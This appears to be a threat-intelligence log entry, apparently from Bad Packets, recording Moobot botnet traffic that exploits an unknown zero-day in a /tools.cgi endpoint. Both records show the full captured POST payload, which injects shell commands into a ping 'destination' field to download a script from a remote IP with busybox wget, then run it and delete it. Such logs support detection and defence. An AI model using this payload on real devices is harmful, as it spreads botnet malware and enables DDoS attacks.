Unknown zero-day used by Moobot (DDoS malware)
Source IP: 93.174.93.139
Country: Netherlands
User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Payload: POST /tools.cgi HTTP/1.1
POST Data: "op_type=ping&destination=;cd /tmp;busybox wget http://45.95.168.248/usb.sh;chmod 777 usb.sh;sh usb.sh;rm -rf usb.sh&user_options=\x0D\x0A"
Target Port: 8080
Bad Packets® Tags: Unknown Zero-Day
Date First Seen: 2020-07-22T15:47:02Z
Date Last Seen: 2020-07-22T15:47:02Z
Event Count: 1
Source IP: 93.174.93.139 Country: Netherlands User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0 Payload: POST /tools.cgi HTTP/1.1 POST Data: "op_type=ping&destination=;cd /tmp;busybox wget http://45.95.168.248/usb.sh;chmod 777 usb.sh;sh usb.sh;rm -rf usb.sh&user_options=\x0D\x0A" Target Port: 80 Bad Packets® Tags: Unknown Zero-Day Date First Seen: 2020-07-22T12:15:16Z Date Last Seen: 2020-07-22T15:32:57Z Event Count: 23